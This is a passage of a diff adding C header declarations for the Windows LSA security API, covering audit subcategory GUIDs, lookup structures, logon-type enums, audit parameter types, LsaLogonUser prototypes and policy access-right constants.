0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_DistributionGroup_defined + #endif +#endif + +/* 0cce9239-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_ApplicationGroup, + 0x0cce9239, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ApplicationGroup_defined + #endif +#endif + +/* 0cce923a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) + DEFINE_GUID( + Audit_AccountManagement_Others, + 0x0cce923a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_Others_defined + #endif +#endif + +/* 0cce923b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) + DEFINE_GUID( + Audit_DSAccess_DSAccess, + 0x0cce923b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DSAccess_DSAccess_defined + #endif +#endif + +/* 0cce923c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) + DEFINE_GUID( + Audit_DsAccess_AdAuditChanges, + 0x0cce923c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DsAccess_AdAuditChanges_defined + #endif +#endif + +/* 0cce923d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) + DEFINE_GUID( + Audit_Ds_Replication, + 0x0cce923d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_Replication_defined + #endif +#endif + +/* 0cce923e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) + DEFINE_GUID( + Audit_Ds_DetailedReplication, + 0x0cce923e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_DetailedReplication_defined + #endif +#endif + +/* 0cce923f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_CredentialValidation, + 0x0cce923f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_CredentialValidation_defined + #endif +#endif + +/* 0cce9240-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) + DEFINE_GUID( + Audit_AccountLogon_Kerberos, + 0x0cce9240, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Kerberos_defined + #endif +#endif + +/* 0cce9241-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) + DEFINE_GUID( + Audit_AccountLogon_Others, + 0x0cce9241, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Others_defined + #endif +#endif + +/* 0cce9242-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_KerbCredentialValidation, + 0x0cce9242, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_KerbCredentialValidation_defined + #endif +#endif + +/* 0cce9243-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) + DEFINE_GUID( + Audit_Logon_NPS, + 0x0cce9243, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_NPS_defined + #endif +#endif + +/* 0cce9244-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) + DEFINE_GUID( + Audit_ObjectAccess_DetailedFileShare, + 0x0cce9244, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_DetailedFileShare_defined + #endif +#endif + +#endif // DEFINE_GUID + + +// +// All categories are named as +// + +#ifdef DEFINE_GUID + +/* 69979848-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_defined) + DEFINE_GUID( + Audit_System, + 0x69979848, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_defined + #endif +#endif + +/* 69979849-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_defined) + DEFINE_GUID( + Audit_Logon, + 0x69979849, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_defined + #endif +#endif + +/* 6997984a-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) + DEFINE_GUID( + Audit_ObjectAccess, + 0x6997984a, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_defined + #endif +#endif + +/* 6997984b-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) + DEFINE_GUID( + Audit_PrivilegeUse, + 0x6997984b, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_defined + #endif +#endif + +/* 6997984c-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) + DEFINE_GUID( + Audit_DetailedTracking, + 0x6997984c, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_defined + #endif +#endif + +/* 6997984d-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) + DEFINE_GUID( + Audit_PolicyChange, + 0x6997984d, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_defined + #endif +#endif + +/* 6997984e-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) + DEFINE_GUID( + Audit_AccountManagement, + 0x6997984e, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_defined + #endif +#endif + +/* 6997984f-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) + DEFINE_GUID( + Audit_DirectoryServiceAccess, + 0x6997984f, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DirectoryServiceAccess_defined + #endif +#endif + +/* 69979850-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) + DEFINE_GUID( + Audit_AccountLogon, + 0x69979850, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_defined + #endif +#endif + +#endif // DEFINE_GUID + +// 04.06.2011 - added +#if !defined(_NTLSA_IFS_) +#define _NTLSA_IFS_ + +#if !defined(_LSALOOKUP_) +#define _LSALOOKUP_ + +#if defined(_NTDEF_) + +typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; +typedef STRING LSA_STRING, *PLSA_STRING; +typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#else // _NTDEF_ + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength/2), length_is(Length/2)] +#endif // MIDL_PASS + PWSTR Buffer; +} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; + +typedef struct _LSA_STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} LSA_STRING, *PLSA_STRING; + +typedef struct _LSA_OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PLSA_UNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; + +#endif // _NTDEF_ + +typedef struct _LSA_TRUST_INFORMATION { + LSA_UNICODE_STRING Name; // The name of the domain + PSID Sid; // ptr to domain Sid +} LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; + +typedef struct _LSA_REFERENCED_DOMAIN_LIST { + ULONG Entries; // count of domains in domain array + PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data +} LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; + +#if (_WIN32_WINNT >= 0x0501) +typedef struct _LSA_TRANSLATED_SID2 { + SID_NAME_USE Use; + PSID Sid; + LONG DomainIndex; + ULONG Flags; +} LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; +#endif + +typedef struct _LSA_TRANSLATED_NAME { + SID_NAME_USE Use; + LSA_UNICODE_STRING Name; + LONG DomainIndex; +} LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; + +typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { + LSA_UNICODE_STRING DomainName; + PSID DomainSid; +} POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; + +typedef struct _POLICY_DNS_DOMAIN_INFO +{ + LSA_UNICODE_STRING Name; + LSA_UNICODE_STRING DnsDomainName; + LSA_UNICODE_STRING DnsForestName; + GUID DomainGuid; + PSID Sid; +} POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; + +#define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 +#define LOOKUP_TRANSLATE_NAMES 0x00000800 + +typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { + AccountDomainInformation = 5, + DnsDomainInformation = 12 +} LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; + +typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; + +NTSTATUS +LsaLookupOpenLocalPolicy( + IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, + IN ACCESS_MASK AccessMask, + IN OUT PLSA_LOOKUP_HANDLE PolicyHandle + ); + +NTSTATUS +LsaLookupClose( + IN LSA_LOOKUP_HANDLE ObjectHandle + ); + +NTSTATUS +LsaLookupTranslateSids( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Count, + IN PSID *Sids, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_NAME *Names + ); + +#if (_WIN32_WINNT >= 0x0501) +NTSTATUS +LsaLookupTranslateNames( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN ULONG Flags, + IN ULONG Count, + IN PLSA_UNICODE_STRING Names, + OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, + OUT PLSA_TRANSLATED_SID2 *Sids + ); +#endif + +NTSTATUS +LsaLookupGetDomainInfo( + IN LSA_LOOKUP_HANDLE PolicyHandle, + IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, + OUT PVOID *DomainInfo + ); + +NTSTATUS +LsaLookupFreeMemory( + IN PVOID Buffer + ); + +#endif // _LSALOOKUP_ + +#define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) +#define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) +#define LSA_MODE_MANDATORY_ACCESS (0x00000004L) +#define LSA_MODE_LOG_FULL (0x00000008L) + +typedef enum _SECURITY_LOGON_TYPE { + UndefinedLogonType = 0, // This is used to specify an undefied logon type + Interactive = 2, // Interactively logged on (locally or remotely) + Network, // Accessing system via network + Batch, // Started via a batch queue + Service, // Service started by service controller + Proxy, // Proxy logon + Unlock, // Unlock workstation + NetworkCleartext, // Network logon with cleartext credentials + NewCredentials, // Clone caller, new default credentials + //The types below only exist in Windows XP and greater +#if (_WIN32_WINNT >= 0x0501) + RemoteInteractive, // Remote, yet interactive. Terminal server + CachedInteractive, // Try cached credentials without hitting the net. + // The types below only exist in Windows Server 2003 and greater +#endif +#if (_WIN32_WINNT >= 0x0502) + CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose + CachedUnlock // Cached Unlock workstation +#endif +} SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; + +typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; + +#if !defined(_NTLSA_AUDIT_) +#define _NTLSA_AUDIT_ + +// +// The following enumerated type is used between the reference monitor and +// LSA in the generation of audit messages. It is used to indicate the +// type of data being passed as a parameter from the reference monitor +// to LSA. LSA is responsible for transforming the specified data type +// into a set of unicode strings that are added to the event record in +// the audit log. +// + +typedef enum _SE_ADT_PARAMETER_TYPE { + + SeAdtParmTypeNone = 0, //Produces 1 parameter + SeAdtParmTypeString, //Produces 1 parameter. + SeAdtParmTypeFileSpec, + SeAdtParmTypeUlong, //Produces 1 parameter + SeAdtParmTypeSid, //Produces 1 parameter. + SeAdtParmTypeLogonId, //Produces 4 parameters. + SeAdtParmTypeNoLogonId, //Produces 3 parameters. + SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. + SeAdtParmTypePrivs, //Produces 1 parameter with formatting. + SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. + SeAdtParmTypeHexUlong, //Produces 1 parameter + SeAdtParmTypePtr, //Produces 1 parameter + SeAdtParmTypeTime, //Produces 2 parameters + SeAdtParmTypeGuid, //Produces 1 parameter + SeAdtParmTypeLuid, // + SeAdtParmTypeHexInt64, //Produces 1 parameter + SeAdtParmTypeStringList, //Produces 1 parameter + SeAdtParmTypeSidList, //Produces 1 parameter + SeAdtParmTypeDuration, //Produces 1 parameters + SeAdtParmTypeUserAccountControl,//Produces 3 parameters + SeAdtParmTypeNoUac, //Produces 3 parameters + SeAdtParmTypeMessage, //Produces 1 Parameter + SeAdtParmTypeDateTime, //Produces 1 Parameter + SeAdtParmTypeSockAddr, // Produces 2 parameters + SeAdtParmTypeSD, // Produces 1 parameters + SeAdtParmTypeLogonHours, // Produces 1 parameters + SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. + SeAdtParmTypeUlongNoConv, // Produces 1 parameter. + SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter + SeAdtParmTypeAccessReason + +} SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; + +#if !defined(GUID_DEFINED) +#include +#endif /* GUID_DEFINED */ + +typedef struct _SE_ADT_OBJECT_TYPE { + GUID ObjectType; + USHORT Flags; +#define SE_ADT_OBJECT_ONLY 0x1 + USHORT Level; + ACCESS_MASK AccessMask; +} SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; + +typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { + + SE_ADT_PARAMETER_TYPE Type; + ULONG Length; + ULONG_PTR Data[2]; + PVOID Address; +} SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; + + +typedef struct _SE_ADT_ACCESS_REASON{ + ACCESS_MASK AccessMask; + ULONG AccessReasons[32]; + ULONG ObjectTypeIndex; + ULONG AccessGranted; + PSECURITY_DESCRIPTOR SecurityDescriptor; +} SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; + +#define SE_MAX_AUDIT_PARAMETERS 32 +#define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 + +typedef struct _SE_ADT_PARAMETER_ARRAY { + + ULONG CategoryId; + ULONG AuditId; + ULONG ParameterCount; + ULONG Length; + USHORT FlatSubCategoryId; + USHORT Type; + ULONG Flags; + SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; + +} SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; + +#define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 +#define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 +#define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 +#define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 +#define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 + +#define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ + ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ + sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ + (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) + +#endif // !defined(_NTLSA_AUDIT_) + +typedef enum _POLICY_AUDIT_EVENT_TYPE { + + AuditCategorySystem = 0, + AuditCategoryLogon, + AuditCategoryObjectAccess, + AuditCategoryPrivilegeUse, + AuditCategoryDetailedTracking, + AuditCategoryPolicyChange, + AuditCategoryAccountManagement, + AuditCategoryDirectoryServiceAccess, + AuditCategoryAccountLogon + +} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; + +#define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) +#define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) +#define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) +#define POLICY_AUDIT_EVENT_NONE (0x00000004L) + +#define POLICY_AUDIT_EVENT_MASK \ + (POLICY_AUDIT_EVENT_SUCCESS | \ + POLICY_AUDIT_EVENT_FAILURE | \ + POLICY_AUDIT_EVENT_UNCHANGED | \ + POLICY_AUDIT_EVENT_NONE) + +#define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) + +NTSTATUS +NTAPI +LsaRegisterLogonProcess ( + IN PLSA_STRING LogonProcessName, + OUT PHANDLE LsaHandle, + OUT PLSA_OPERATIONAL_MODE SecurityMode + ); + +NTSTATUS +NTAPI +LsaLogonUser ( + IN HANDLE LsaHandle, + IN PLSA_STRING OriginName, + IN SECURITY_LOGON_TYPE LogonType, + IN ULONG AuthenticationPackage, + IN PVOID AuthenticationInformation, + IN ULONG AuthenticationInformationLength, + IN OPTIONAL PTOKEN_GROUPS LocalGroups, + IN PTOKEN_SOURCE SourceContext, + OUT PVOID *ProfileBuffer, + OUT PULONG ProfileBufferLength, + OUT PLUID LogonId, + OUT PHANDLE Token, + OUT PQUOTA_LIMITS Quotas, + OUT PNTSTATUS SubStatus + ); + +NTSTATUS +NTAPI +LsaLookupAuthenticationPackage ( + IN HANDLE LsaHandle, + IN PLSA_STRING PackageName, + OUT PULONG AuthenticationPackage + ); + +NTSTATUS +NTAPI +LsaFreeReturnBuffer ( + IN PVOID Buffer + ); + +NTSTATUS +NTAPI +LsaCallAuthenticationPackage ( + IN HANDLE LsaHandle, + IN ULONG AuthenticationPackage, + IN PVOID ProtocolSubmitBuffer, + IN ULONG SubmitBufferLength, + OUT OPTIONAL PVOID *ProtocolReturnBuffer, + OUT OPTIONAL PULONG ReturnBufferLength, + OUT OPTIONAL PNTSTATUS ProtocolStatus + ); + +NTSTATUS +NTAPI +LsaDeregisterLogonProcess ( + IN HANDLE LsaHandle + ); + +NTSTATUS +NTAPI +LsaConnectUntrusted ( + OUT PHANDLE LsaHandle + ); + +//////////////////////////////////////////////////////////////////////////// +// // +// Local Security Policy Administration API datatypes and defines // +// // +//////////////////////////////////////////////////////////////////////////// + +#define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L +#define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L +#define POLICY_GET_PRIVATE_INFORMATION 0x00000004L +#define POLICY_TRUST_ADMIN 0x00000008L +#define POLICY_CREATE_ACCOUNT 0x00000010L +#define POLICY_CREATE_SECRET 0x00000020L +#define POLICY_CREATE_PRIVILEGE 0x00000040L +#define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L +#define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L +#define POLICY_AUDIT_LOG_ADMIN 0x00000200L +#define POLICY_SERVER_ADMIN 0x00000400L +#define POLICY_LOOKUP_NAMES 0x00000800L +#define POLICY_NOTIFICATION 0x00001000L + +#define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN |\ + POLICY_LOOKUP_NAMES) + + +#define POLICY_READ (STANDARD_RIGHTS_READ |\ + POLICY_VIEW_AUDIT_INFORMATION |\ + POLICY_GET_PRIVATE_INFORMATION) + +#define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ + POLICY_TRUST_ADMIN |\ + POLICY_CREATE_ACCOUNT |\ + POLICY_CREATE_SECRET |\ + POLICY_CREATE_PRIVILEGE |\ + POLICY_SET_DEFAULT_QUOTA_LIMITS |\ + POLICY_SET_AUDIT_REQUIREMENTS |\ + POLICY_AUDIT_LOG_ADMIN |\ + POLICY_SERVER_ADMIN) + +#define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ + POLICY_VIEW_LOCAL_INFORMATION |\ + POLICY_LOOKUP_NAMES) + +typedef struct _LSA_TRANSLATED_SID { + + SID_NAME_USE Use; + ULONG RelativeId; + LONG DomainIndex; + +} LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; + +typedef enum _POLICY_LSA_SERVER_ROLE { + + PolicyServerRoleBackup = 2, + PolicyServerRolePrimary + +} POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; + +#if (_WIN32_WINNT < 0x0502) + +typedef enum _POLICY_SERVER_ENABLE_STATE { + + PolicyServerEnabled = 2, + PolicyServerDisabled + +} POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; +#endif + +typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; + +typedef enum _POLICY_INFORMATION_CLASS { + + PolicyAuditLogInformation = 1, + PolicyAuditEventsInformation, + PolicyPrimaryDomainInformation, + PolicyPdAccountInformation, + PolicyAccountDomainInformation, + PolicyLsaServerRoleInformation, + PolicyReplicaSourceInformation, + PolicyDefaultQuotaInformation, + PolicyModificationInformation, + PolicyAuditFullSetInformation, + PolicyAuditFullQueryInformation, + PolicyDnsDomainInformation, + PolicyDnsDomainInformationInt, + PolicyLocalAccountDomainInformation, + PolicyLastEntry + +} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; + +typedef struct _POLICY_AUDIT_LOG_INFO { + + ULONG AuditLogPercentFull; + ULONG MaximumLogSize; + LARGE_INTEGER AuditRetentionPeriod; + BOOLEAN AuditLogFullShutdownInProgress; + LARGE_INTEGER TimeToShutdown; + ULONG NextAuditRecordId; + +} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; + +typedef struct _POLICY_AUDIT_EVENTS_INFO { + + BOOLEAN AuditingMode; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + ULONG MaximumAuditEventCount; + +} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; + +typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { + + ULONG MaximumSubCategoryCount; + PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; + +} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; + +typedef struct _POLICY_AUDIT_CATEGORIES_INFO { + + ULONG MaximumCategoryCount; + PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; + +} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; + +// +// Valid bits for Per user policy mask. +// + +#define PER_USER_POLICY_UNCHANGED (0x00) +#define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) +#define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) +#define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) +#define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) +#define PER_USER_AUDIT_NONE (0x10) + + +#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ + PER_USER_AUDIT_SUCCESS_EXCLUDE | \ + PER_USER_AUDIT_FAILURE_INCLUDE | \ + PER_USER_AUDIT_FAILURE_EXCLUDE | \ + PER_USER_AUDIT_NONE) + +typedef struct _POLICY_PRIMARY_DOMAIN_INFO { + + LSA_UNICODE_STRING Name; + PSID Sid; + +} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; + +typedef struct _POLICY_PD_ACCOUNT_INFO { + + LSA_UNICODE_STRING Name; + +} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; + +typedef struct _POLICY_LSA_SERVER_ROLE_INFO { + + POLICY_LSA_SERVER_ROLE LsaServerRole; + +} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; + +typedef struct _POLICY_REPLICA_SOURCE_INFO { + + LSA_UNICODE_STRING ReplicaSource; + LSA_UNICODE_STRING ReplicaAccountName; + +} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; + +typedef struct _POLICY_DEFAULT_QUOTA_INFO { + + QUOTA_LIMITS QuotaLimits; + +} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; + + +typedef struct _POLICY_MODIFICATION_INFO { + + LARGE_INTEGER ModifiedId; + LARGE_INTEGER DatabaseCreationTime; + +} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; + + +typedef struct _POLICY_AUDIT_FULL_SET_INFO { + + BOOLEAN ShutDownOnFull; + +} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; + + +typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { + + BOOLEAN ShutDownOnFull; + BOOLEAN LogIsFull; + +} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; + + +typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { + +#if (_WIN32_WINNT <= 0x0500) + PolicyDomainQualityOfServiceInformation = 1, +#endif + PolicyDomainEfsInformation = 2, + PolicyDomainKerberosTicketInformation + +} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; + +#if (_WIN32_WINNT < 0x0502) + +#define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 +#define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 +#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 +#define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 +#define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 +#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 +#define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 +#define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 + +// +// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. +// +#endif + +#if (_WIN32_WINNT == 0x0500) +typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { + + ULONG QualityOfService; + +} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; + +#endif + +typedef struct _POLICY_DOMAIN_EFS_INFO { + + ULONG InfoLength; + PUCHAR EfsBlob; + +} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; + +#define 